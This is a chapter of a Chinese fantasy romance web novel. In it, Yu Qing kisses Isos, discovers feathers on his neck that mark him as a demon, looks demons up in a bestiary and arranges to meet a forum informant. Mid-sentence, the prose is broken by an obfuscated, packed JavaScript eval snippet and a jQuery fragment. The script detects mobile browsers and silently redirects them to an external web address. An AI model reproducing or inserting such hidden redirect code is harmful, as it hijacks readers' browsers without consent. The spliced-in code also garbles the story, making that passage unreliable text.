情难自禁。
伊索斯失控地揽住她的腰,手臂收紧,两具身体便轻易紧密贴合。
动作猝不及防,喻清反射性用手臂抵在他胸前,隔出能容纳呼吸的距离。
青年身量很高,比她高出将近一个头,此时他低着头,皮肤苍白得可怕,甚至隐隐能看到淡青色鼓动着脉络。
灿金的瞳孔只映照出她的模样,是动了十足十的情。
他声音喑哑,像在告诫喻清,又像在告诫自己:“你会后悔的。”
喻清弯了弯眼睛:“不会。”
青年眼中再难抹不去炽热与迷恋。
他低垂着眼,视线追寻着少女的唇:“我……可以吗?”
紧张得有些可怜了。
喻清忍住笑,低叹道:“在今天,我赦免你的僭越。”
青年阖上眼,睫羽还在轻颤。
在最后一簇烟花绽开的瞬间,他低下头,虔诚印上少女柔软的唇。
不是她预料中狂风骤雨般的侵略,这个吻生涩又柔软,还有些苦涩。
像裹着黑巧的蛋糕,初初是软和的甜,咬破芯之后,便尝到了里面的苦。
一触即离,却让青年溃不成军。
他触电般松开手,身子向后撤了半步,撇过脸看长河,可整个耳垂都红透了。
他皮肤白,那抹红就格外明显,即便夜晚月光清淡,喻清也看得一清二楚。
长着一副游刃有余的多情模样,在感情这种事上却意外地生涩笨拙。
喻清轻咳一声,蓦然生出种调戏良家少男的负罪感。
她摸了摸鼻子,试图缓和气氛:“嗯,宴会应该要结束了,明天我就回百合镇啦。”
伊索斯回得慢吞吞:“嗯。”
眼神闪躲,看着河里的树、河里的月,笔直坚定,不敢往她那边游移。
喻清站得有些累,干脆挽起裙摆直接坐到了地上。
她仰着脸,看天上的月亮,也看他通红的耳垂。
无论伊索斯是谁,她现在已经能确定。
他深爱着自己,又或者说,他绝对不会伤害她。
接下来就很好办了。
喻清微蹙起眉,用一种抱怨的口吻说道:“对了,伊索斯,我身边最近发生了件怪事。”
这句话果然吸引了他的注意力。
青年侧过头看她,关切问道:“怎么了?”
“也没什么,就是每天早上,我都会在窗台上发现一株玫瑰。”喻清一边说着,一边打量着青年的神色,“挺新鲜的,最奇怪的是,玫瑰下面总压着根黑色羽毛。你说,我是不是被什么奇怪的人给盯上了?”
“抱歉,”他垂着眼,神色平静,“我会调查这件事的,让你困扰的事,以后不会再发生。”
“谢谢。”
喻清仔细琢磨着他的神色,可一张面瘫的脸上什么都看不出来。
或许这件事和他没有关系?
青年又转回头,恰好夜风吹过,轻轻撩起他的发梢,后脑的长发被掀起一瞬间。
就在这短暂的瞬间,喻清看清长发之下的光景,猛瞪大了眼睛。
他的后颈,是团翕动着的黑色。
不是人类向下延伸的绒发,那团黑色泛着柔顺的光泽,一簇叠着一簇,更像,更像什么?
喻清对比着,忽而意识到,那团黑色更像鸟类覆在后颈上细密的羽毛,比如她最近投喂的那只黑鹂鸟。
伊索斯不是人,那便是魔种。
一只魔种在蓄意靠近自己,目的是要成为她的丈夫,但魔种要人类做妻子有什么用?
可能是早有预料,此时印证猜想后,喻清情绪稳定地可怕。
与其说恐惧,倒不如说好奇和困惑居多。
她挺不明白的,跨物种的恋爱很难有好结果。而且据她所知,不同物种感情表达不同,还有生殖隔离。
比如她养的小猫和小狗。
小猫生气时候会甩尾巴,小狗则以为这是喜欢,乐颠颠地凑上去反而挨了一爪。
同时,小猫和小狗也不可能生出小崽崽。
宴厅那边的奏乐停了。
此时晚宴散场,她也得回去了。
喻清从地上爬起来,抖了抖粘在裙摆上的草屑,手亲昵地搭着青年的胳膊,而后又很自然地抽回手,笑眯眯道:“我得回去了,伊索斯,要一起吗?”
伊索斯盯着被触碰过的衣袖,实在不想分离。可他知道,筑巢期雄性恶魔有多可怕。
他们无法自制,势必毁掉所有觊觎珍宝之人,冲动会造成不可挽回的悲剧。
宴厅里太多人会向喻清示好了,只是稍稍一想,暴虐的火就在体内烧了起来。
伊索斯喉结滚了滚:“不了,我也得回荒原了。”
喻清也不强留,告别后便朝着宴厅方向走去。
行至半路,她偷偷回过头。
青年戴上了黑色礼帽,握着手杖,一步一步朝着浓雾深处走去,身影被拉得很长很长,摇曳着,形如鬼魅。
她勾起唇轻轻一笑。
没有恶意的恐怖,就像怪物在摇着尾巴撒娇,透着诡谲的萌。
有什么东西飘忽而动,轻飘飘地飞向她。
就在此时,索妮娅从她身后冒出来,拍了拍她的肩:“清清,在看什么?笑得好开心。”
喻清笑了笑,指向小河边:“刚在那看到只很漂亮的小鸟。”
“诶?”索妮娅忙看向前方,“哪里哪里?”
可连个鸟影子都没有,月光被树叶遮住,放眼黑漆漆一片,只听得到风吹过叶子哗啦啦响。
喻清轻笑了声:“看来已经飞走了,我们也回去吧。”
索妮娅点了点头,两人手挽着手回了庄园住处。
一进门,喻清直接朝书桌走去。
桌上摆着从隐境借来的《魔种习性大全》。
喻清熟练翻到恶魔词条的页面。
记录实在是太少了,只有半面纸的篇幅,连张照片都没贴,但有总比没有好。
关于恶魔的记录是纯手写,字迹略微潦草。
她呢喃念出声:“稀有,独居,魔力等级极高。天赋能力为蛊惑,形态不定,攻击欲低但攻击力极强,多分布于宽阔平原地带。其他未知……”
倘若伊索斯是由恶魔变成的人类,那许多事都有了解释。
被火烧死的魔鼠,异常顺利的退婚,甚至还有,在百合镇前些天阿兰奇怪的对话,大概率都是他的手笔。
恶魔有蛊惑能力,故而他可以控制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480996|201735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐纳老夫人、她父亲,还有许多许多人的心神,编造一个无处不顺从她心意的乐场。
任性、傲慢又自我,引诱她去了解更多。
喻清垂着眼,盯着书上恶魔两个字,忽而轻笑出声。
与其和恶魔摊牌,直接撕开祂的面纱。这种解密游戏还是得自己一层层探索,才更有意思,不是吗?
次日,回到百合镇后。
喻清花了三天,翻遍家中藏书,却没有一本详细描述“恶魔”这种稀有魔种。
这类魔种早在千年前,甚至更久,就销声匿迹了。
恶魔们强大却傲慢,不屑于繁衍。除却死于战斗的恶魔,剩下的在近乎永生的寿命中,大都选择了隐居或者沉睡。
一句有用的话都没有。
喻清难得有些烦躁,仰躺片刻,她爬起来打开魔网装置,用小号找到论坛,打开悬赏板块。
「求关于“恶魔”这类稀有魔种的相关信息,报酬可谈,起步价一百金币,上不封顶。」
手指轻点,帖子发送出去,瞬间被顶到论坛最顶端。
「1L:没看错吧,一百金币???刷新悬赏最高价了吧……」
「2L:恶魔是什么?」
「3L:没听过,可能是绝迹的魔种」
「4L:早知道在学院就好好读书了」
「5L:没事,书上没写,教授也没教」
……
跟帖很快,大多在惊叹报酬的高昂,有用的却没几条。
一个铜币可以买一块面包,一个金币相当于一万铜币,一百金币就可以买一百万个面包,十辈子都吃不完。
一条不起眼的评论淹没在飞速刷屏的感叹号中,喻清敏锐捕捉到了。
是个花枝鼠头像,ID名为吱吱爱萝卜。
「吱吱爱萝卜:我见过哟」
她这钓了条什么鱼?
点进主页,里面充斥着甜点照片和抽奖转发,一张照片里露了两根指头,骨架纤细,应该是个小女孩。
喻清点进头像私聊:「你好,可以说说你见过的恶魔吗?」
吱吱爱萝卜:「如果你说的是住在黑城里的那个家伙,我见过哟」
喻清:「黑城?」
吱吱爱萝卜:「嗯,在燎火荒原」
喻清:「燎火荒原在哪?」
对面却没再回答,过了会才跳出消息。
吱吱爱萝卜:「防止你跑单,接下来的信息只支持线下交付。想知道更多的信息,明天下午三点到主城茉莉路的鹿灵蛋糕房,我在那等你」
喻清:「好,但我得先知道你是不是在随手瞎编乱造,捏出子虚乌有的地方糊弄人」
旋即,对面发来张图片。
是张魔力拓印下来的景象画,焦黑的土地灼烧着暗火,漆黑的城堡沉默地矗立在画布最中央。
她猛然想起,在庄园时,有天晚上曾做过一场梦。
梦里是荒凉的黑土,只有碎石和火焰,和这幅画极为相似。
那里可能就是恶魔的巢穴,盘踞着试图毁天灭地的恶魔。
对面人的真实身份愈发可疑,但喻清隐约觉察到,这或许是她离真相最近的一次。
这次,喻清没有拒绝:「OK,明天见」